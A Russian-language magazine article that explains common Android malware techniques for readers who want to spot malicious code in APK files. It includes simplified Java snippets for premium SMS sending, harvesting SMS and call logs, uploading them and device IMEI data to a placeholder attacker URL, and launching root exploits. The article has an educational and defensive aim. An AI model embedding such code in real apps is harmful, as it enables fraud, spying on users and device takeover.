В коллекции вредоносных Android-приложений некоторых антивирусных лабораторий содержится уже более 10 миллионов образцов. Эта цифра будоражит воображение, но примерно 9 миллионов 995 тысяч из них — переименованные копии оригинальных вирусов. Но если проанализировать исходный код оставшихся нескольких тысяч образцов малвари, то можно заметить, что все они комбинируются из небольшого количества уникальных функциональных блоков (несколько видоизмененных и по-разному скомбинированных).

Все дело в том, что вирмэйкеры чаще всего преследуют весьма тривиальные задачи:

  • отправить эсэмэску на платный номер;
  • завладеть конфиденциальной информацией пользователя (телефонными номерами, текстами сообщений, данными с SD-карты и так далее);
  • собрать данные о зараженном устройстве;
  • завладеть администраторскими правами на устройстве (для установки приложений без разрешения владельца или для злонамеренного выведения аппарата из строя);
  • отследить логины, пароли и данные платежных карт, которые пользователь вводит на сайтах систем интернет-банкинга. 
Как они это делают? Попробуем проникнуть в мрачный мир мобильного вирмэйкинга и посмотреть, что там происходит.
Отправка эсэмэски
Отправка эсэмэски

Отправка SMS

Кто использует:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Самым распространенным типом вирусов являются SMS-трояны. Эти вирусы просто отправляют сообщения на платные номера без согласия пользователя. Создать такую программу или переписать готовую под нужный номер совсем легко. Да и процесс получения выгоды предельно упрощен — в отличие, например, от отслеживания банковских данных.

Далее приведен простейший пример кода. Это элементарная функция отправки SMS. Ее можно усложнить проверкой статуса отправки, выбором номеров в зависимости от места положения абонента и последующим удалением SMS.

private static SendSms (String DestNumber, String SmsText)
{
// Попытка запуска метода sendTextMessage объекта SmsManager (стандартная программа для отправки SMS у текущего устройства) с минимальным количеством параметров: номер получателя и текст сообщения
  try{     
        SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null);
        return true;
    }
 }

 

Где искать код вируса

В абсолютном большинстве случаев заражение телефона происходит через установку приложений. Любое приложение для Android существует в виде файла с расширением apk, который, по сути, является архивом. Просмотреть его содержимое можно с помощью Android SDK, конвертера файлов APK в JAR и декомпилятора Java-байт-кода. Сборка приложения (APK) состоит из следующих частей:

  • resources.arsc — таблица ресурсов;
  • res (папка) — собственно ресурсы (иконки и прочее);
  • META-INF (папка) — содержит файлы со следующим содержимым: контрольные суммы ресурсов, сертификат приложения и описание сборки APK;
  • AndroidManifest.xml — всякого рода служебная информация. В том числе разрешения (permission), которые приложение запрашивает перед установкой для своей корректной работы;
  • classes.dex — ты наверняка слышал, что в Android операционных системах весь код выполняется с помощью Dalvik virtual machine (начиная с версии 4.4 появляется поддержка ART), которая не понимает обычный Java-байт-код. Поэтому и существуют файлы с расширением dex. В нем, наряду с нужными и полезными классами (которые отвечают за функционал приложения), содержатся также и вредоносные (вирусный код, который мы разбираем в этой статье).

Запись пользовательской информации в текстовый файл

Кто использует:

  • NickySpy;
  • SmsSpy.

Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML — не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее.

SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей — ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей — в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! — Прим. ред.) приложение на Android, не теряй бдительности :).

// Считаем количество SMS на устройстве 
arrayOfObject = (Object[])localBundle.get("pdus");
int j=arrayOfObject.length;
// Обходим по циклу каждую SMS
i=1
while (true)
{
  if(i>=j)
  break;
  // Создаем объект SMS-сообщение
  SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte[])arrayOfObject[i]); 
  // Кладем в строковые переменные номер отправителя, текст и время отправки SMS
  String MessageNumber = localSmsMessage.getOriginatingAddress();
  String MessageText = localSmsMessage.getDisplayMessageBody();
  long l= localSmsMessage.getTimestampMillis();
  Date localDate=new Date(l);
  String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate);
  // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec
  String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";"
  WriteRec(paramContext,"sms.txt",MessageInfo);
  // Переходим к следующему сообщению
  i+=1;
}
Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке:
If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL"))
{
// Кладем в переменную номер абонента 
String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER");
// Формируем строку из номера и даты звонка
String PhoneCallRecord= phonenumber +"#"+getSystemTime();
// Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков 
WriteRec(paramContext,"phonecall.txt", PhoneCallRecord);
}

После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:

private void uploadPhonecallHistory()
 throws IDException
 {

  while(true)
  {
  return;
  // Проверяем, есть ли нужный нам файл
  if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt"))
  continue;
  // Создаем объект — загрузчик файлов
  UploadFiles localUploadFiles=new UploadFiles();
  String uploadkeynode=getKeyNode("uid","uid_v");
  // Запускаем метод .advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера»
  localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt");
  }
  }

Сбор информации

Кто использует:

  • DroidKungFu;
  • DroidDream;
  • подавляющее большинство малвари всех аналогичных.

В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.

private void reportState(int paramInt, string paramString)
{
// Создаем массив и кладем в него служебную информацию
ArrayList UserInformation=new ArrayList();
UserInformation.add(new BasicNameValuePair("imei", this.mImei));
UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId));
UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt)));
// Если у функции определен параметр «paramString(комментарий)», кладем в массив и его
if(paramStrng !=null)&&(!"".equals(paramString)))
UserInformation.add(new BasicNameValuePair("comment", paramString));
// Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных
HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php");
try
{
// Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента
localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8")));
new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode();
return;
}
}

Рутинг

Кто использует:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Одна из самых неприятных вещей, которая может произойти с Android-устройством, — это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:

private void RootFunc()
{
ApplicationInfo localApplicationInfo =getApplicationInfo();
/*"ratc" — это копия знаменитого root-эксплойта Rage Against The Cage.
  Kiall — остановка всех процессов, запущенных текущим приложением.
  Gjsvro — эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами).
  Все это копируем в нужное место
*/
Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc");
Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall");
Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro");
//И запускаем с помощью командной строки
Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc");
Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall");
Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro");
new MyTread.start();
}

 

Сайты о мобильной малвари

Блог экспертов компании Kasperskiy Lab Этот ресурс содержит качественные и подробные статьи о многих аспектах компьютерной безопасности, в том числе и об Android-вирусах. Стоит регулярно посещать этот сайт, чтобы быть в курсе последних событий.

Androguard Google Group Группа посвящена open source инструменту для всевозможных манипуляций с кодом Android-приложений (декомпиляция и модификация DEX/ODEX/APK файлов и так далее). Androguard также содержит обширную базу статей про вирусы. Помимо кратких обзоров функционала и методов защиты, встречаются подробные анализы кода малвари.

Androguard Google Group
Androguard Google Group


Раздел Mobile Threats на www.fortiguard.com Энциклопедии телефонных вирусов. Каждая статья — обзор функционала, приправленный значительным количеством технических деталей. Помимо информации об угрозах для операционной системы Android, есть статьи и про вирусы для Symbian OS, iOS и других платформ.


 

Защита от вирусов

Некоторые пользователи считают, что если скачивать приложения исключительно из Google Play и установить на смартфон антивирус, то это стопроцентно гарантирует безопасность. Не стоит обольщаться: в Сети регулярно появляются сообщения о нахождении малвари в официальном маркете. А количество вновь появившихся зловредных программ измеряется сотнями тысяч в месяц, что затрудняет их своевременное попадание в базы антивирусных программ. Реальную гарантию безопасности может дать ручной просмотр кода APK-файла перед установкой его на телефон. Не нужно быть гуру кодинга, чтобы заметить вредоносные фрагменты. А наша статья поможет тебе в этом.

Заключение

Как мы видим из примеров, мобильный вирмейкинг технологической сложностью не отличается. Конечно, данные примеры упрощены под формат журнала — прежде всего, упущены обработчики ошибок и исключений, а также отдельные технические мелочи, отсутствие которых не помешает тебе понять принципы работы Android-малвари, но оградит от ненужных экспериментов. Ведь мы не поддерживаем создание вирусов, не так ли? 🙂

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    9 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии